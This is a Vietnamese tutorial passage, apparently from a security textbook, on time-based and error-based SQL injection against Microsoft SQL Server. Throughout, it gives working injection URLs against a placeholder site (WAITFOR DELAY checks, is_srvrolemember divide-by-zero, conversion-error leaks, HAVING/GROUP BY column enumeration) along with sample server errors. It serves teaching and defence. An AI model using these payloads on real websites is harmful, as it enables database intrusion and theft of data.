CHƯƠNG IV: TẤN CÔNG DATASTORE
4.2 Sử dụng truy vấn so sánh
4.2.1 Dựa vào thời gian
Nguy cơ đầu tiên có thể dẫn tới điểm yếu khai thác SQL injection là sử dụng truy vấn dựa trên các thời gian khác nhau và ứng dụng web trả về, dựa trên các giá trị trả về sẽ thu thập được các thông tin cần thiết. Đối với SQL server, vấn đề quan trọng cần tìm hiểu là quyền thực thi của SQL có phải là quyền Sysmtem administrator (sa) không, điều này rất quan trong, bởi vì dựa trên đặc quyền này attacker có thể thực hiện nhiều tác vụ khác nhau trên hệ thống.
Giả sử dùng truy vấn sau:
http://www.victim.com/products.asp?id=12;if+(system_user='sa') +WAITFOR+DELAY+'0:0:5'--
system_user là một hàm T-SQL trả về tên login hiện tại, câu truy vấn trên sẽ dựa vào giá trị của system_user để thực hiện WAITFOR. Do đó, bằng việc tính toán thời gian server trả lại trang HTML, attacker có thể xác định phân quyền đang chạy trên hệ thống. Nếu trường hợp đang chạy quyền system_administrator thì attacker có thể lợi dụng quyền này để chạy xp_cmdshell để thực hiện các lệnh console trên server, điều này là vô cùng nguy hiểm.
4.2.2 Dựa vào giá trị truy vấn
Trong một vài trường hợp, việc dựa vào thời gian sẽ không mang lại kết quả không chinh xác do các tác động như CPU, đường truyền ... Thay vào đó, attacker có thể dựa trên lỗi trả về để xác định các thông tin cần thiết. Xét một truy vấn sau:
http://www.victim.com/products.asp?id=12/is_srvrolemember('sysadmin' is_srvrolemember( ) là một hàm của TSQl trả về giá trị sau :
■ 1 nếu user đó thuộc nhóm
■ 0 nếu user đó không thuộc nhóm ■ NULL nếu nhóm không tồn tại
Truy vấn trên sẽ trả về ID 12 nếu user hiện tại là sysadmin (12=12/1) tức là trả về trang hiện thời, nếu user không thuộc nhóm sysadmin ID sẽ trả về lỗi do 12/0 mắc lỗi "division to zero" như hình sau:
Sysadmin
Ta cũng có thể dễ dàng mở rộng truy vấn tùy theo mục đích bằng hàm CASE như sau:
http://www.victim.com/products.asp?id=12/(case+when+(system_user='sa') +then+1+else+0+end)
Trong một vài trường hợp, các thông báo lỗi vô tình bao gồm các thông tin mà Attacker muốn nhận được. Giả sử không cần các cách khai thác như trên, ta vẫn có thể biết được thông tin về server bằng cách chèn "@@version" vào biến không phải kiểu nvchar và từ đấy SQL sẽ thông báo lỗi. Ví dụ:
http://www.victim.com/products.asp?id=system_user
sẽ trả về
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value 'appdbuser' to data type int.
/products.asp, line 33
Bời vì giá trị ID được định nghĩa là number nhưng system_user lại là giá trị nvarchar, do đó SQL server trả về thông báo lỗi và đương nhiên giá trị 'appbusser' chính là tên của user được công bố trong thông báo lỗi.
Một cách khác để xác định phân cấp của người dùng thông qua thông báo lỗi như sau:
http://www.victim.com/products.asp?id=char(65%2Bis_srvrolemember('sysadmin'))
Trong truy vấn trên, số 65 là một giá trị thập phân trong bảng mã ASCII, sẽ trả về giá trị A theo bảng mã ASCII và %2B trả về "+" theo unicode. Nếu user hiện tại không thuộc về nhóm sysadmin thì hàm is_srvrolemember sẽ trả về giá trị 0, và char(65+0) trả về ký tự A. Mặt khác, nếu nếu user là đặc quyền administrators, is_srvrolemember sẽ trả về 1, và char(66) sẽ trả về gia trị B. Do đó, thông báo lỗi sẽ có dạng sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value 'B' to data type int.
/products.asp, line 33
Một phương pháp khác cho phép attacker khai thác tên của columns thông qua lỗi trả về là sử dụng từ khóa GROUP BY để để khai thác giá trị trả về từ SELECT.
http://www.victim.com/products.asp?id=1+having+1=1
SQL server sẽ trả về thông báo lỗi như sau:
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'products.id' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/products.asp, line 233
Khi đã biết một tên column, attacker có thể dựa vào đó để lấy tên các column khác: http://www.victim.com/products.asp?id=1+group+by+products.id+having+1=1 Theo đó, attacker sẽ nhận được tên column tiếp theo:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'products.name' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/shop.asp, line 233
Điều này là do trong truy vấn Group by, column products.id đã thuộc trong truy vấn, nên lỗi trả về sẽ là column tiếp theo chính là products.name. Như vậy, bằng cách lặp đi lặp lại truy vấp GROUP By với các tên column đã biết, attacker sẽ có được danh sách tất cả các column của table